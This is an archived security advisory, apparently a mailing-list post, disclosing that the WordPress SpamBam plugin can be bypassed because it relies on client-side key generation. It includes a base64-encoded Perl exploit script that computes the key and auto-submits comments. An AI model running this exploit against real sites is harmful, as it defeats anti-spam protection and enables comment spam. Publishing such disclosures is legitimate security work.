AOH :: HP Unsorted E :: BX1446.HTM

Exploiting the SpamBam plugin for wordpress



Exploiting the SpamBam plugin for wordpress
Exploiting the SpamBam plugin for wordpress



This is a multi-part message in MIME format.
--------------020903050506090400050704
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit

The attached exploit demonstrates that the WordPress SpamBam plugin can
be bypassed due to relying on the client for security.

Vulnerable software:
SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes 

Vulnerability:
No matter how hard you ofuscate or encrypt your code, never, under no
circunstances, rely any security aspect on the client. Never!

How the plugin works:
It generates a pseudo-random code both on the client and the server to
generate a key.
On form submit, both key values are checked and they should match to
allow comment insertion.

How the exploit works:
It does nothing but acting as a client. It parses the html, extracts
the javascript, process it to calculate the key and fills the hidden
field with it.

Solution:
There's no fix for this. It's a design flaw.


--------------020903050506090400050704
Content-Type: text/plain; x-mac-type="0"; x-mac-creator="0";
 name="spambam.pl"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="spambam.pl"

IyEvdXNyL2Jpbi9wZXJsIC13CgojIERlZmVhdGluZyBTcGFtQmFtIGV4cGxvaXQKIyBieSBK
b3NlIFBhbGF6b24gKGpvc2VtLnBhbGF6b25AZ21haWwuY29tKSAoYS5rLmEuIHBhbGFrbykK
CiMgVnVsbmVyYWJsZSBzb2Z0d2FyZToKIyBTcGFtQmFtIChodHRwOi8vd29yZHByZXNzLm9y
Zy9leHRlbmQvcGx1Z2lucy9zcGFtYmFtLykgYnkgR2FyZXRoIEhleWVzCgojIFZ1bG5lcmFi
aWxpdHk6CiMgTm8gbWF0dGVyIGhvdyBoYXJkIHlvdSBvZnVzY2F0ZSBvciBlbmNyeXB0IHlv
dXIgY29kZSwgbmV2ZXIsIHVuZGVyIG5vIGNpcmN1bnN0YW5jZXMsIHJlbHkKIyBhbnkgc2Vj
dXJpdHkgYXNwZWN0IG9uIHRoZSBjbGllbnQuIE5ldmVyIQoKIyBIb3cgdGhlIHBsdWdpbi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dXRob3IpOwokbWVjaC0+ZmllbGQoImVtYWlsIiwg
JGVtYWlsKTsKJG1lY2gtPmZpZWxkKCJjb21tZW50IiwgJGNvbW1lbnQpOwokbWVjaC0+c3Vi
bWl0KCk7CgpwcmludGYoIkNoZWNrIGl0LiBDb21tZW50IHNob3VsZCBoYXZlIGJlZW4gYWRk
ZWRcbiIpOwo--------------020903050506090400050704--

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.